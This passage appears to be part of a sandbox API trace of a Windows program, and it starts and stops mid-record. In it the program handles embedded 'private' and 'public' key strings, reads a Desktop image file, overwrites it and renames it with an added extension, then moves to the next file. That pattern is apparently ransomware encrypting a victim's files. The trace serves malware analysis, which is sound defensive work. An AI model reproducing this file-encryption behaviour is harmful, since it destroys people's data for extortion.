gcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.537] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.538] GetCurrentThreadId () returned 0xa30 [0127.538] GetCurrentThreadId () returned 0xa30 [0127.538] GetCurrentThreadId () returned 0xa30 [0127.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.539] GetCurrentThreadId () returned 0xa30 [0127.539] GetCurrentThreadId () returned 0xa30 [0127.539] GetCurrentThreadId () returned 0xa30 [0127.539] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.540] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0127.540] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.540] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x14f27 [0127.540] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0127.540] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x14f27, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x14f27, lpOverlapped=0x0) returned 1 [0127.543] CloseHandle (hObject=0x1dc) returned 1 [0127.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0127.548] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f44790*, nNumberOfBytesToWrite=0x14f27, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f44790*, lpNumberOfBytesWritten=0x18f114*=0x14f27, lpOverlapped=0x0) returned 1 [0127.553] CloseHandle (hObject=0x1dc) returned 1 [0127.553] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\ed8NK4 c28hD0L1A.jpg.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\ed8nk4 c28hd0l1a.jpg.zv7un")) returned 1 [0127.554] GetCurrentThreadId () returned 0xa30 [0127.554] GetCurrentThreadId () returned 0xa30 [0127.554] GetCurrentThreadId () returned 0xa30 [0127.554] GetCurrentThreadId () returned 0xa30 [0127.555] GetCurrentThreadId () returned 0xa30 [0127.555] GetCurrentThreadId () returned 0xa30 [0127.555] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ef83b0, ftCreationTime.dwHighDateTime=0x1d5d826, ftLastAccessTime.dwLowDateTime=0x6ee69020, ftLastAccessTime.dwHighDateTime=0x1d5dd4a, ftLastWriteTime.dwLowDateTime=0x6ee69020, ftLastWriteTime.dwHighDateTime=0x1d5dd4a, nFileSizeHigh=0x0, nFileSizeLow=0x7bb9, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="q9PYuuDYFbL.flv", cAlternateFileName="Q9PYUU~1.FLV")) returned 1 [0127.555] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0127.555] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0127.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ef83b0, ftCreationTime.dwHighDateTime=0x1d5d826, ftLastAccessTime.dwLowDateTime=0x6ee69020, ftLastAccessTime.dwHighDateTime=0x1d5dd4a, ftLastWriteTime.dwLowDateTime=0x6ee69020, ftLastWriteTime.dwHighDateTime=0x1d5dd4a, nFileSizeHigh=0x0, nFileSizeLow=0x7bb9)) returned 1 [0127.555] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\xeonabdo_zx4roo-\\q9pyuudyfbl.flv")) returned 0x20 [0127.555] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\xeOnABdo_Zx4RoO-\\q9PYuuDYFbL.flv", dwFileAttributes=0x80) returned 1 [0127.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 